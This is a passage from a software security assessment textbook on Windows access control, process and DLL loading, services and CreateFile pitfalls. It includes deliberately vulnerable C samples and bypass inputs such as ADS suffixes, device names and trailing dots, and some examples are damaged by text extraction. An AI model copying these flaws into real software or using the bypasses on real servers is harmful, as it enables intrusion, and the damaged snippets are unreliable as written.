inheritance properties of the container DACL, and the default security descriptor of 

the current token. 

ACE Order 

An ACL is an ordered list of ACEs, and the order in which these ACEs appear can be 

quite important. Higher-level APIs and GUI interfaces perform ordering on their own; 

however, the low-level API requires the programmer to order ACEs correctly. A 

developer familiar with the high-level interfaces might not understand how to use the 
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low-level functions, which could result in a failure to apply deny entries correctly in 

the DACL. 

Proper ordering for an ACE requires placing all deny entries before any allow entries. 

To understand why this order is important, review how a DACL is evaluated. Before 

you proceed, however, remember that access rights are evaluated only when the 

object handle is opened, not when an existing handle is used. This is why object 

creation functions accept all access rights for the object handle's lifespan. 

DACL evaluation proceeds as follows: 

1. The current ACE is compared against the token's group list, and the access 

mask is retained if the SID is in the group list. 

2. Access is denied if the matching ACE is a deny entry. 

3. Access is allowed if the collection of matching ACEs contains all bits in the 

requested access mask. 

4. The process is repeated on the next ACE if access is neither denied nor 

allowed. 

5. Access is denied if the end of the list is reached and the collection of matching 

ACEs doesn't contain all bits in the access mask. 

This process shows that an early allow entry could prevent a later deny entry from 

being evaluated. For example, a DACL in which the first ACE allows all access and the 

second ACE denies it would grant access on the first iteration through the list and 

never encounter the explicit deny entry. 

 

7.7.6 Processes and Threads 

Windows handles processes in a different manner than UNIX-derived OSs do. A 

process itself doesn't run; it's simply a container for threads and essential process 

attributes that are required for the process to function. In its capacity as a container, 

the process provides the basic memory protection and access control boundaries 

expected from any multiuser OS. Although the kernel is fully capable of supporting 

the UNIX-style fork-exec approach, it's almost never done in practice. 

In Windows, the basic unit of execution is the thread, although each thread is 

associated with a corresponding process. All threads belonging to a process share a 

single address space and security boundary, so each thread has effectively 

unrestricted access to any other thread running in the same process. The lack of 

security boundaries between threads becomes important in discussing security 

tokens and impersonation. For now, however, you should concentrate on some 

process-loading quirks that occur behind the scenes. This information helps you 

31051536.html


The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 670 

accurately assess the risk of being able to perform actions such as writing files to 

certain locations on the file system. 

Note 

Mark Russinovich and David Solomon are the authors of Microsoft Windows Internals 

4th Edition (Microsoft Press, 2005(? [????.]); formerly the Inside Windows series). 

This book is an essential reference for anyone interested in the Windows architecture. 

For a more applied introduction to Windows programming, Windows System 

Programming by Johnson M. Hart (Addison-Wesley, 2005(? [????.])) is 

recommended. It might not provide the breadth of Russinovich and Solomon's book, 

but it offers more practical depth and detailed code samples. 

 

 

Process Loading 

Programmers might never think about Windows process loading, but it can have a 

major impact on application security. The CreateProcess() function is the most 

common method of starting a process in Windows. It accepts ten arguments in total, 

but for the moment, you're concerned only with the first two parameters: the 

application name and the process command line. The application name parameter is 

rarely used in practice. Instead, the first argument is typically NULL, followed by the 

command-line argument containing the executable path and command-line 

parameters. A security issue may occur when the second argument includes an 

unquoted executable path containing spaces. This argument causes the 

CreateProcess() function to traverse the path at each space character until it can find 

an executable file, as shown in the following call: 

CreateProcess(NULL, 

              "C:\\Program Files\\My Application\\my app.exe", 

               ...) 

 

Because the spaces leave room for interpretation, the call attempts to find the first 

likely file and run it. For this example, the search proceeds in the following order: 

1. C:\Program.exe 

2. C:\Program Files\My.exe 

3. C:\Program Files\My Application\my.exe 

4. C:\Program Files\My Application\my app.exe 

In Windows 2000 and earlier, this path traversal could be dangerous because any 

authenticated user could write a C:\Program.exe file that would run instead of the 
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intended file. This error allowed a fairly trivial escalation technique for unquoted paths 

running in a higher context. The primary example is privilege escalation by exploiting 

an unquoted service image pathname. The correct way to make this call is as follows: 

CreateProcess(NULL, 

              "\"C:\\Program Files\\My Application\\my app.exe\"", 

              ...) 

 

Fortunately, Windows XP changed permissions on the root directory, which limits this 

attack to Power users, who already have the permissions required to overwrite the 

affected file. However, there has been no change to the actual handling of the 

filename. This means a privileged process might still be vulnerable to an injection 

attack if an unprivileged user can write to any directory in the executable path. When 

auditing, look for failures to quote any executable pathnames passed to 

CreateProcess(). 

ShellExecute and ShellExecuteEx 

The ShellExecute() and ShellExecuteEx() functions can also be used to start 

processes and result in an indirect call to CreateProcess(). However, these functions 

might seem a little deceptive in their naming. Both functions actually use the 

Windows Explorer shell API for opening files, which you might be familiar with if 

you've right-clicked a file in Windows Explorer. These functions accept a verb for an 

operation, such as open, edit, print, explore, or search. The verb (or "open" if no verb 

is supplied) is then used to determine the appropriate handler for the file, based on 

the file extension. The easiest way to understand this is to right-click a file in Windows 

Explorer and see the list of actions displayed in bold type at the top of the shortcut 

menu; these actions correspond to the verbs. 

From a security perspective, you're primarily concerned with the fact that these 

functions don't necessarily run the supplied file. They might run another application 

intended to handle this file type, so you need to be especially mindful of when these 

functions are called with any potentially untrusted input. 

DLL Loading 

Just like process loading, dynamically loaded libraries (DLLs) can have serious 

security repercussions. Vulnerabilities can occur because of how Windows searches 

for a DLL during the loading process. Historically, an ordered search for a DLL 

proceeds as follows: 

1. Application load directory 

2. Current directory 

3. System32 directory 
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4. System directory 

5. Windows (or WINNT) directory 

6. PATH variable directories 

Unfortunately, this load process creates a fairly easy way for attackers to replace a 

system DLL with their own DLL. All they need to do is cause the victim to run code in 

a directory where an attacker can write files. The attack proceeds as follows: 

1. Attacker writes a malicious DLL that has the same name as a system DLL. 

2. Attacker coaxes the victim to run a command in the attacker-controlled 

directory. 

3. The loader doesn't identify the DLL in the application directory. 

4. The loader identifies an attacker-controlled DLL with the appropriate name in 

the current directory. 

5. The application loads the malicious DLL, and code runs in the context of the 

victim. 

Because of this simple attack vector, Windows XP added several features to reduce 

the threat of injecting a DLL via this method. The initial release of Windows XP 

included SafeDllSearchMode, which addresses this attack by changing the DLL load 

process to search the following locations in order: 

1. Application load directory 

2. System32 directory 

3. System directory 

4. Windows directory 

5. Current directory 

6. PATH variable directories 

In addition, Windows XP introduced the SetDllDirectory() function, which changes 

the library load path without changing the current directory. It can be used to place 

tighter restrictions on a runtime-loaded DLL but doesn't affect a DLL loaded at 

process initialization. LoadLibraryEx() can also be used in all supported Windows 

versions for more specific control of how a DLL is loaded. 

DLL Redirection 

Windows 2000 and XP added the capability for DLL redirection, which was intended to 

address the common issues with DLL versioning, often referred to as DLL hell. 

However, it also provides additional security considerations. Specifically, the 

presence of a redirection file or directory causes Windows to load an alternate set of 

libraries, even when a qualified path is provided in the call to LoadLibrary() or 

LoadLibraryEx(). 
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The redirection file is located in the same directory as the application, and the 

filename is the application filename plus a .local extension. The redirection file 

content is ignored, but the presence of the file causes DLLs in the current directory to 

be loaded in preference to any other locations. If the redirection file is actually a 

directory, the files in that directory are loaded first. DLL redirection is always 

superseded by an application manifest in Windows XP and later; Windows XP and 

later also prevent redirection of any DLLs listed in the registry key 

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs. 

Application Manifests 

An application manifest is an XML file containing essential application information. 

It can affect the application-loading process by including a list of required libraries 

and modules along with specific version numbers. The required naming convention 

for the manifest is similar to the redirection file. The file is located in the same 

directory as the application, and the filename is the application filename plus 

a .manifest extension. 

Potential Vulnerabilities 

DLL-loading vulnerabilities occur when attackers can write a file in the library load 

path that takes precedence over the intended DLL. This vulnerability affected earlier 

versions of Windows when attackers could control the current directory. Later 

versions of Windows have added protection; however, they are still vulnerable to 

variations of this attack. Chapter 2(? [????.]) gave an example of an operational 

vulnerability that exploits this issue by leveraging a weakness in an inherited 

permission set. 

When auditing for these issues, you must account for the OS version the application 

runs on and the complete path to the executable. Then step through the library 

search sequence (listed earlier) and identify whether attackers can write a DLL that 

takes precedence over the legitimate DLL file. This process involves auditing the file 

ACL, as discussed earlier in this chapter. 

Services 

A service is a background process that typically is started automatically at some 

point during system startup. Services can be configured to run under alternate 

accounts and are started by the Service Control Manager (SCM). Windows services 

are roughly equivalent to UNIX daemons, although they also address most of the 

functional requirements of setuid and setgid programs because Windows attaches no 

special context to a binary executable. Unlike UNIX, no special permission bits 

instruct Windows to run a program in a different context. Instead, Windows 

applications handle privileged operations by creating a service that exposes an IPC 

interface to lower privileged processes. 
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In Windows, services almost always run with some degree of elevated privilege and 

typically expose some form of attacker-facing interface. This is why most attacks on 

a Windows system focus on compromising a service. General classes of attacks are 

covered in other chapters, but considerations unique to services are addressed in the 

following sections and in Chapter 12(? [????.]). 

Service Control Permissions 

Services are started and stopped by issuing commands to the SCM. These control 

interfaces are protected by standard Windows access control, meaning the 

permission for controlling a service can be granted to individual users and groups. For 

example, the Network Dynamic Data Exchange (DDE) service is used to access a 

legacy IPC mechanism across the network. It's a popular target of the shatter 

privilege escalation vulnerability mentioned in Chapter 2(? [????.]). Part of why it 

makes such a good target is its capability to be started by users. This capability allows 

attackers to start the service if it's not already running and restart it if a failed attack 

causes it to crash. 

The ability to start a vulnerable service provides a very simple example of a security 

issue with service control permissions. However, more complex attacks can exploit 

instabilities in the service startup process. During initialization, services are often 

more vulnerable to a variety of attacks, such as object squatting and time of check to 

time of use (TOCTOU, discussed in "TOCTTOU(? [????.])" later in this chapter). Being 

critical in scrutinizing any application that allows service control by nonadministrative 

users is essential. 

When auditing service control permissions, you need to identify whether any control 

commands are allowed by nonadministrative users. You generally do this by using the 

sdshow command of the sc.exe command-line utility. This utility is a standard 

component in later versions of Windows and can be downloaded from Microsoft's Web 

site for earlier versions. The sdshow command displays security information in the 

condensed string format described in the "Security Descriptor Strings(? [????.])" 

section earlier in this chapter. You can review this section to familiarize yourself with 

the format, if necessary. 

Service Image Path 

The command line used to run a service is referred to as the service image path; 

this string is set when installing the service and contains the executable path followed 

by any command-line parameters. It might not seem like something to take note of, 

until you consider the earlier discussion of the CreateProcess() function. Like the 

majority of Windows processes, services are launched by calling CreateProcess() with 

a NULL first argument and a second argument containing the combined path and 

command-line parameters (provided by the image path string). This means an image 

path containing spaces might be open to hijacking by another executable, as 
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described earlier. The problem is especially serious for services because they run in a 

more privileged context than a normal user. You can check the image path by using 

the qc command in the sc.exe command-line utility. 

7.7.7 File Access 

File system interaction is integral to most applications and provides a popular target 

for attackers to exploit dangerously written code. Safe file-handling code requires 

developers to program defensively because attackers take advantage of the nuances 

and flexibility of the file access APIs and file systems. Windows OSs in particular offer 

a lot of flexibility and convenience for developers. Unfortunately, these capabilities 

can lead to serious security issues when developers aren't aware of subtle aspects of 

the file system and file I/O APIs. 

Windows OSs control access to files through the object security mechanisms you have 

already explored. That is, files on the file system are treated as objects, so they are 

manipulated by handles to file objects. Unanticipated file accesses might produce 

unexpected results in several ways, however, and consequently, an application might 

perform in a manner other than what was intended. The following sections explore 

the ins and outs of file accesses and what problems might arise when attempting to 

open files. 

File Permissions 

As mentioned, files are treated by the system as objects (of the File type), so object 

permissions describe the permissions for the physical file the object represents. Files 

have a number of specific access rights that allow granular control over who can 

access a file and the manner in which they can access it. These access rights, taken 

from the MSDN, are shown in Table 11-7. 

Table 11-7. File Access Rights 

Access Right Meaning 

FILE_ADD_FILE For a directory, the right to create a file in the directory. 

FILE_ADD_SUBDIRECTORY For a directory, the right to create a subdirectory. 

FILE_ALL_ACCESS All possible access rights for a file. 

FILE_APPEND_DATA For a file object, the right to append data to the file; for 

a directory object, the right to create a subdirectory. 

FILE_CREATE_PIPE_INSTANCE For a named pipe, the right to create a named pipe. 

FILE_DELETE_CHILD For a directory, the right to delete a directory and all files 

it contains, including read-only files. 

FILE_EXECUTE For a native code file, the right to run the file (given to 
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Table 11-7. File Access Rights 

Access Right Meaning 

scripts, might cause the script to be executable, 

depending on the script interpreter). 

FILE_LIST_DIRECTORY For a directory, the right to list the directory's contents. 

FILE_READ_ATTRIBUTES The right to read file attributes. 

FILE_READ_DATA For a file object, the right to read the corresponding file 

data; for a directory object, the right to read the 

corresponding directory data. 

FILE_READ_EA The right to read extended file attributes. 

FILE_TRAVERSE For a directory, the right to traverse the directory. 

FILE_WRITE_ATTRIBUTES The right to write file attributes. 

FILE_WRITE_DATA For a file object, the right to write data to the file; for a 

directory object, the right to create a file in the directory. 

FILE_WRITE_EA The right to write extended attributes. 

STANDARD_RIGHTS_READ Includes READ_CONTROL, which is the right to read 

information in the file or directory object's security 

descriptor. 

STANDARD_RIGHTS_WRITE Includes WRITE_CONTROL, which is the right to write to the 

directory object's security descriptor. 

 

These file permissions can be applied when creating the file with the CreateFile() 

function. When you're auditing code that creates new files, it's important to correlate 

the permissions applied to the new file with what entities should have permission to 

read and/or modify that file. The lack of correct permissions can result in 

unintentional disclosure of information and possibly rogue users modifying sensitive 

files that alter how the program works. As an example, a program is generating 

sensitive information about employees, including salary summaries and so forth. If 

relaxed permissions are applied to the file object when it's created, any other 

employee might be able to discover their coworkers' salaries. 

The File I/O API 

The Windows File I/O API provides access to files through object handles, so all 

file-manipulation functions use handles to perform operations on a file. The API 

provides a basic set of functionality for creating, opening, reading, and writing to files 

as well as performing more advanced operations. This functionality is exposed 

through a large number of functions; however, the main ones you'll deal with daily 
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are just CreateFile(), ReadFile(), WriteFile(), and CloseHandle(). These functions 

are responsible for the basic operations performed on files in most applications. As a 

code auditor, your primary focus is the CreateFile() routine because it's the most 

likely place for things to go awry, so this section primarily covers this function. 

Note 

There's also an OpenFile() function just for opening files, but it's for 16-bit Windows 

applications and is no longer used. 

 

The CreateFile() function is used for both creating and opening files and has the 

following prototype: 

HANDLE CreateFile(LPCSTR lpFileName, DWORD dwDesiredAccess, 

                  DWORD dwSharedMode, 

                  LPSECURITY_ATTRIBUTES 

                  lpSecurityAttributes, 

                  DWORD dwCreationDisposition, 

                  DWORD dwFlagsAndAttributes, 

                  HANDLE hTemplateFile) 

 

As you can see, this function takes quite a few parameters. These parameters are 

briefly described in the following list: 

 lpFileName This parameter is the name of the file to open or create. 

 dwDesiredAccess This parameter is the access the application requires to the 

file: read access, write access, or both. 

 dwSharedMode This parameter describes what access is allowed by other 

processes while the returned handle remains open. 

 lpSecurityAttributes This parameter describes the object access rights for 

the file if a new one is being created. It also describes whether the file handle 

is inheritable. 

 dwCreationDisposition This flag affects whether to create a new file and what 

to do if a file of the same name already exists. A value of CREATE_ALWAYS always 

creates a new file, overwriting another file if it already exists. A value of 

CREATE_NEW creates a new file or causes the function to fail if a file with the 

same name exists. A value of OPEN_ALWAYS causes the function to open an 

existing file if one exists; otherwise, it creates a new one. A value of 

OPEN_EXISTING causes the function to fail if none exist, and a value of 

trUNCATE_EXISTING causes the function to fail if the file doesn't exist but 

truncates the file to 0 bytes if it does exist. 
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 dwFlagsAndAttributes This parameter describes certain attributes of the file 

being created. Relevant values are described as they come up in the following 

sections. 

 hTemplateFile This parameter provides a handle to a template file; its file 

attributes and extended attributes are used to establish the attributes of a 

new file being created. If an existing file is being opened, this parameter is 

ignored. 

You can see there are a lot of possibilities for determining how files are created or 

opened. 

File Squatting 

In the discussion on objects, you learned about object namespace squatting. It's 

applicable to files as well, if the CreateFile() function is used incorrectly. Sometimes 

it's possible to cause an application to act as if it has created a file when it has actually 

opened an existing file. This error causes several parameters to be ignored, thus 

potentially tricking the application into exposing sensitive data or allowing users to 

control data in a file they shouldn't be able to control. A file-squatting vulnerability 

occurs when these conditions are met: 

 An application should create a new file, not open an existing file, but the 

dwCreationDisposition parameter is set incorrectly. Incorrect settings are any 

setting except CREATE_NEW. 

 The location where the file is being created is writeable by potentially 

malicious users. 

If both conditions are met, a vulnerability exists in the application whereby attackers 

would be able to create a file of the same name first and give the file arbitrary security 

attributes, ignoring the ones that have been supplied. In addition, because this file 

squatting also causes the supplied file attributes to be ignored, it might be possible to 

make the application function incorrectly by creating a file with different attributes. 

For example, consider the following call: 

BOOL CreateWeeklyReport(PREPORT_DATA rData, LPCSTR filename) 

{ 

    HANDLE hFile; 

 

    hFile = CreateFile(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 

        FILE_ATTRIBUTE_ARCHIVE, NULL); 

 

    if(hFile == INVALID_HANDLE_VALUE) 

        return FALSE; 

 

    ... write report data ... 
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} 

 

This code is meant to mark the report it generates for archiving, presumably so that 

it can be backed up periodically. However, if attackers create a file with the same 

name before the application, this file attribute is ignored. Therefore, attackers can 

read potentially sensitive data that gets written to the report file and omit 

FILE_ATTRIBUTE_ARCHIVE from the file's attributes, resulting in the report not being 

backed up as intended. 

Note 

It may seem that the CREATE_ALWAYS parameter would prevent file squatting attacks 

because it will overwrite an existing file. However, if a file already exits, the 

CREATE_ALWAYS parameter will cause CreateFile() to retain the DACL and attributes of 

the overwritten file and ignore the DACL supplied in the security descriptor. 

 

 

Canonicalization 

Canonicalization is the process of turning a pathname from one of several different 

relative forms into its simplest absolute form. It was covered in depth in Chapter 8(? 

[????.]), "Strings and Metacharacters," but is discussed again here because it holds 

special significance in Windows. Generally, it's risky to use untrusted data to 

construct relative pathnames. Why? Because it gives attackers the opportunity to 

specify an absolute path, if they are able to control the initial part of the filename 

argument. A simple example of a vulnerable call is shown: 

char *ProfileDirectory = "c:\\profiles"; 

 

BOOL LoadProfile(LPCSTR UserName) 

{ 

    HANDLE hFile; 

 

    if(strstr(UserName, "..")) 

        die("invalid username: %s\n", UserName); 

 

    SetCurrentDirectory(ProfileDirectory); 

 

    hFile = CreateFile(UserName, GENERIC_READ, 0, NULL, 

        OPEN_EXISTING, 0, NULL); 

 

    if(hFile == INVALID_HANDLE_VALUE) 

        return FALSE; 
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    ... load profile data ... 

} 

 

When auditing code, it's important to train yourself to spot bad use of canonical 

pathnames, as in this example. The developer assumes that by setting the current 

working directory and ensuring that no directory traversal double-dot combinations 

exist, any file access can only be for a file in the specified profile directory. Of course, 

because UserName is given as the initial part of the path segment, attackers could 

simply select a username that's an absolute path and access any file outside the 

current directory. 

In addition, CreateFile() canonicalizes any directory traversal components before 

validating whether each path segment exists. So you can supply nonexistent paths in 

the filename argument as long as they are eliminated during canonicalization. For 

example, CreateFile() will open C:\blah.txt if you specify a filename such as 

C:\nonexistent\path\..\..\blah.txt; it doesn't matter that C:\nonexistant\path\ 

does not exist. This canonicalization issue might be relevant when a path is 

prepended to user input. Here's a modified version of the previous example that 

demonstrates this issue. 

char *ProfileDirectory = "c:\profiles"; 

 

BOOL LoadProfile(LPCSTR UserName) 

{ 

    HANDLE hFile; 

    char buf[MAX_PATH]; 

    if(strlen(UserName) > 

       MAX_PATH  strlen(ProfileDirectory)  12) 

        return FALSE; 

 

    _snprintf(buf, sizeof(buf), "%s\\prof_%s.txt", 

              ProfileDirectory, UserName); 

 

    hFile = CreateFile(buf, GENERIC_READ, 0, NULL, 

        OPEN_EXISTING, 0, NULL); 

 

    if(hFile == INVALID_HANDLE_VALUE) 

        return FALSE; 

 

    ... load profile data ... 

} 
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This example doesn't check for directory traversal, although it allows you to control 

only part of the filename. It makes no difference, however, because you can specify 

nonexistent path components. Therefore, you can still perform a directory traversal 

attack by using \..\..\..\test or another similar pathname. 

Filelike Objects 

Several other types of objects can be opened via CreateFile() and treated as regular 

files. They aren't files that appear in the file system hierarchy but objects that appear 

in the object namespace. These objects have a special filename format to indicate 

that they aren't regular files: 

\\host\object 

 

The host component is any host that can be reached from the target machine; the 

local host is indicated by using a period (.). The object component should be familiar 

if you've ever opened a file on a remote Windows share. In that case, the object is 

just the share name and fully qualified path to the file. However, the format of the 

object component actually depends on which type of object is being opened. 

CreateFile() can open several different types of objects: pipes, mailslots, volumes, 

and tape drives. 

Pipes and mailslots are IPC mechanisms that you explore more in Chapter 12(? 

[????.]), but for now, it's necessary to know how they can be opened as files. 

For these object types, the object component of the name uses the following format: 

type\name 

 

The type component is the class of object, such as pipe or mailslot. The name 

component is the name of the object. So you can open the stuff pipe on myserver by 

using the following string: 

\\myserver\pipe\stuff 

 

In Chapter 12(? [????.]), you see that Windows authentication and impersonation can 

make the capability to open one of these IPC mechanisms a vulnerability in and of 

itself because this capability gives attackers the opportunity to steal client privileges. 

Tape and volume accesses can also be achieved; however, a volume can't be read 

from and written to with the regular File API. So an incorrect open will likely become 

apparent to the application when it tries to perform operations on the file handle. 
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To access these objects, attackers must control the first segment of the pathname. 

Being able to achieve this control isn't common, but it happens from time to time. For 

instance, the example from the previous section would be able to specify some of 

these objects, which might afford attackers the opportunity to perform an 

impersonation-style attack. 

Device Files 

Device files are special entities that reside in the file hierarchy and allow a program to 

have access to virtual or physical devices. In UNIX, this access is typically handled by 

storing special device files in a common directory (usually /dev). In Windows, it's 

handled a bit differently. Device files in Windows don't have inode entries on the file 

system volume, as they do in UNIX; in fact, Windows devices don't exist on the file 

system at all! Instead, they're represented by file objects in the object namespace. 

The CreateFile() function checks when a file access is made to see whether a special 

device file is requested; if so, it returns a handle to the device object rather than a 

handle to a regular file. This process happens transparently to the application. The 

following special device names can be opened by applications: 

 COM1-9 

 LPT1-9 

 CON 

 CONIN$ 

 CONOUT$ 

 PRN 

 AUX 

 CLOCK$ 

 NUL 

The CreateFile() function searches the filename argument for these devices by 

looking at the filename component and ignoring the pathname components. 

Therefore, a device name can be appended to any file path, and it opens a device 

rather than a regular file. This behavior is somewhat hard to combat in applications 

because it introduces unexpected attack vectors. Specifically, if part of the filename 

parameter is user supplied, a device can be accessed by using any of the listed 

filenames. 

Note 

There's an exception: Console devices are treated specially by CreateFile(), so 

CONIN$, CONOUT$, and CON can't be appended to arbitrary paths to access a console 

device. Any of the other listed devices, however, exhibit the described behavior. 
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Accessing devices in this way might cause an application to unexpectedly hang or 

read and write data to and from devices that it didn't intend to. Consider the following 

example: 

HANDLE OpenProfile(LPCSTR UserName) 

{ 

    HANDLE hFile; 

    char path[MAX_PATH]; 

 

    if(strstr(UserName, "..")) 

        die("Error! Username %s, contains illegal characters\n", 

            UserName); 

 

    _snprintf(path, sizeof(path), "%s\\profiles\\%s", 

              ConfigDir, UserName); 

 

    hFile = CreateFile(path, GENERIC_READ, 

FILE_SHARE_READ, 

                       NULL, OPEN_EXISTING, 0, NULL); 

 

 

    if(hFile == INVALID_HANDLE_VALUE) 

        die("opening file: %s\n", path); 

 

    return hFile; 

} 

 

Assume that UserName contains untrusted data. Although path traversal attacks have 

been taken into account, there is no provision for the username specifying a device 

file. 

Another point about reserved device names is that they can also have any file 

extension appended, and they are still considered a device. For example, the file 

c:\COM1.txt still opens the COM1 device. Therefore, any code that appends a file 

extension to a filename might still be vulnerable to attacks, resulting in the 

application unwittingly opening a device rather than a regular file. 

File Types 

No parameter can be passed to CreateFile() to ensure that the file being opened is a 

regular file, so you might be wondering how any call to CreateFile() can be secure 

from attack without a lot of messy string-matching code to test for device names. The 

answer is that several functions can be used to determine whether the file in question 

is a regular file. Specifically, application developers can use GetFileAttributes() and 
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GetFileAttributesEx() to retrieve file attributes and GetFileType() to get the type of 

a file. 

In addition, you can do something in the CreateFile() call to prevent it from opening 

device files and special files: Use the Universal Naming Convention (UNC) form and 

prefix the filename with \\?\. Putting this sequence at the beginning of a filename has 

several effects on how CreateFile() parses the filename; essentially, it minimizes the 

amount of parsing performed on the filename, which causes it to skip certain checks, 

including whether the file is a DOS device or a special file. 

The caveat of the UNC form is that it changes the way the filename is handled and 

might create pathnames that are inaccessible via the traditional DOS-style path. This 

happens because the DOS naming convention is limited to 260 characters for a fully 

qualified path. However, NTFS supports a maximum path length of 32,767, but these 

names can be accessed only by using a UNC pathname provided to the Unicode 

version of the CreateFile() function. 

File Streams 

NTFS supports the notion of file streams, also known as alternate data streams 

(ADSs). A file stream is simply a named unit of data associated with a file. Each file 

is composed of one or more file streams. The default file stream is nameless, and any 

operations performed on a file are implicitly assumed to be dealing with the unnamed 

file stream, unless another file stream is specified. A fully qualified file stream name 

has the following format: 

filename:file stream name:file stream type 

 

You're no doubt already familiar with the format of filenames, so you can move on to 

file stream names. The file stream name has the same format as a filename (without 

the pathname component). It can contain nearly any character, including spaces. 

Finally, the file stream type member (which is often omitted) specifies a file stream 

attribute. Although several attributes exist, the only valid choice is $DATA. 

For code auditors, file streams can introduce vulnerabilities in certain contexts, 

particularly when filenames are being constructed based on user input, and those 

filenames are expected to be of a certain format and have a specific extension. For 

example, a Web application has a user profiles directory in the Web root where each 

user's profile is kept in a text file. The following code opens the user profiles directory: 

BOOL OpenUserProfile(LPCSTR UserName) 

{ 

    HANDLE hProfile; 

    char buf[MAX_PATH]; 
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    if(strlen(UserName) >= MAX_PATH  strlen(ProfilesDir) - 4) 

        return FALSE; 

    if(strstr(UserName, "..")) 

        return FALSE; 

 

    _snprintf(buf, sizeof(buf), "%s\\%s.txt", ProfilesDir, 

              UserName); 

 

    hProfile = CreateFile(buf, GENERIC_ALL, FILE_SHARE_READ, 

                          NULL, CREATE_ALWAYS, 0, NULL); 

 

 

    if(hProfile == INVALID_HANDLE_VALUE) 

        return FALSE; 

 

    ... load or create profile ... 

} 

 

The intention of this code is to create a text file in the user profiles directory; however, 

you can create a file with any extension you please by specifying a username such as 

test.asp:hi. This username would cause the code to create the test.asp file with the 

file stream hi.txt. Although you could create arbitrary files in this example, accessing 

the alternate file streams where you're writing data might prove to be more 

complicated, depending on the Web server being used to serve files. 

Attacks of this nature tend to work on Web-related technologies because filenames 

are often completely user controlled, and how the filename appears to the Web server 

makes a big difference in how it's processed and served to users. For example, the file 

extension might cause a file to be handled by a certain filter or Web server extension, 

as in IIS. In fact, default installations of IIS 4 and earlier had a vulnerability involving 

file streams that took advantage of this situation. By appending ::$DATA to an ASP 

script file, it was possible to read the source of the file remotely instead of having it 

run the contents as script code because IIS didn't correctly identify it as an ASP file 

and hand it off to the ASP ISAPI extension for processing. So a request such as the 

following could allow the contents of the login.asp script on a Web server to be 

revealed: 

GET /scripts/login.asp::$DATA 

 

Note that when using ADS notation to specify alternate data streams, the only way to 

represent the unnamed stream is by using ::$DATA. You can't omit the $DATA 

extension. The filenames C:\test.txt: and C:\test.txt:: are illegal as far as 
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CreateFile() is concerned, and attempting to create or open files with these names 

results in an error. 

Extraneous Filename Characters 

CreateFile() has a few more idiosyncrasies that don't belong in any other category, 

so they are mentioned here. First, CreateFile() performs special handling of trailing 

spaces in file names. Any trailing spaces in the filename argument are silently 

stripped out, which introduces some possible vulnerabilities. This behavior might be a 

useful method of stripping out trailing path data, thus allowing attackers to choose an 

arbitrary file extension, as shown in this example: 

BOOL OpenUserProfile(LPCSTR UserName) 

{ 

    char buf[MAX_PATH]; 

    HANDLE hFile; 

 

    if(strstr(UserName, "..")) 

        return FALSE; 

    _snprintf(buf, sizeof(buf), "%s\\%s.txt", 

ProfileDirectory, 

              Name); 

    buf[sizeof(buf)-1] = '\0'; 

 

    hFile = CreateFile(buf, GENERIC_ALL, FILE_SHARE_READ, NULL, 

                       CREATE_NEW, 0, NULL); 

 

    if(hFile == INVALID_HANDLE_VALUE) 

        return FALSE; 

 

    ... more stuff ... 

} 

 

This code is intended to create a text file and enforces this behavior by appending 

a .txt extension. However, if users specify a filename that's close to MAX_PATH bytes, 

this .txt file extension might get cut off. By specifying a filename with an arbitrary 

extension followed by a large number of spaces, users could create any type of file 

they like. 

Having arbitrary trailing spaces might also cause an application to incorrectly identify 

files with special names or file extensions and use them incorrectly. For example, 

consider the following code: 

HANDLE GetRequestedFile(LPCSTR requestedFile) 
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{ 

    if(strstr(requestedFile, "..")) 

        return INVALID_HANDLE_VALUE; 

    if(strcmp(requestedFile, ".config") == 0) 

        return INVALID_HANDLE_VALUE; 

 

    return CreateFile(requestedFile, GENERIC_READ, 

                      FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 

                      NULL); 

} 

 

This simple example checks whether users are requesting a special file .config, and 

if they are, doesn't allow them to access it. However, by specifying a filename such as 

".config", users can still gain access to this file. 

Note 

Users would also be able to access the file by requesting .config::$DATA. 

 

Spaces trailing the filename might also pose a threat when files are supposed to be 

unique, but the call to CreateFile() uses the CREATE_ALWAYS value for 

dwCreationDisposition instead of CREATE_NEW. Returning to the user profiles example, 

imagine you have an administrative user with special privileges. You might be able to 

steal the administrator's credentials by creating an account with a username such as 

"admin". Selecting this username might make it possible to read administrative profile 

data or even overwrite it. 

Spaces aren't the only extraneous characters stripped from filename arguments. 

Another interesting behavior of CreateFile() is that it strips trailing dots from the 

filename in much the same way it strips spaces. Any number of trailing dots are 

silently stripped off the end of a filename before the file is created, introducing 

opportunities for creating or opening unexpected files in much the same way using 

spaces does. So creating a file named "c:\test.txt.........." creates the 

c:\test.txt file. As an interesting variation, both spaces and dots can be intermingled 

in any order, and CreateFile() silently strips both spaces and dots. For example, 

passing the filename "c:\test.txt . .. ..." to CreateFile() also creates the 

C:\test.txt file. This behavior isn't well known and isn't obvious to developers, so 

attackers can use this suffix combination to trick applications into opening files. This 

is especially true of Web-based applications and Web servers because filename 

extensions often determine how they handle files. In fact, appending dots or spaces 

to filenames has resulted in several instances of being able to view the source for 

script code. 
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One other behavior of these trailing characters is that they aren't stripped if an ADS 

stream follows the filename. For example, if you pass the name c:\test.txt. to 

CreateFile(), the trailing dot is stripped and the c:\test.txt file is created. However, 

if you pass the name c:\test.txt.:stream to CreateFile(), the trailing dot isn't 

stripped, and the c:\test.txt. file is created (with an ADS named stream). The same 

happens if you have an unnamed ADS following the file extension, such as ::$DATA. 

However, if you have dots and/or spaces following the ADS component of the 

filename, they are truncated. So the string "C:\\test.txt::$DATA ......... . . . ..." 

creates the c:\test.txt file and writes to the default unnamed file stream. 

As a final note, DOS device names might end with a colon character (:) that's silently 

stripped out, and the device is accessed as normal. They might also contain additional 

characters after the colon, and the function still succeeds. However, an ADS isn't 

created for the device; the extraneous data is just ignored. 

Case Sensitivity 

One thing that distinguishes Windows filenames from UNIX filenames is that NTFS 

and FAT filenames aren't case sensitive. Therefore, bypassing filename and path 

checks by mixing case when accessing files is possible sometimes. If you look at the 

previous example, the GetrequestedFile() function is intended to block people from 

accessing the .config file in any directory. You saw a method for gaining access to the 

file by using extraneous trailing characters, but another method you could use is 

requesting the file with some or all of the characters in uppercase. Therefore, by 

requesting .CONFIG, you can retrieve the contents of a file that's supposed to be 

hidden from you. Any file accesses in Windows need to be assessed for case-mixing 

when validating filenames or file extensions. SPI Dynamics discovered precisely this 

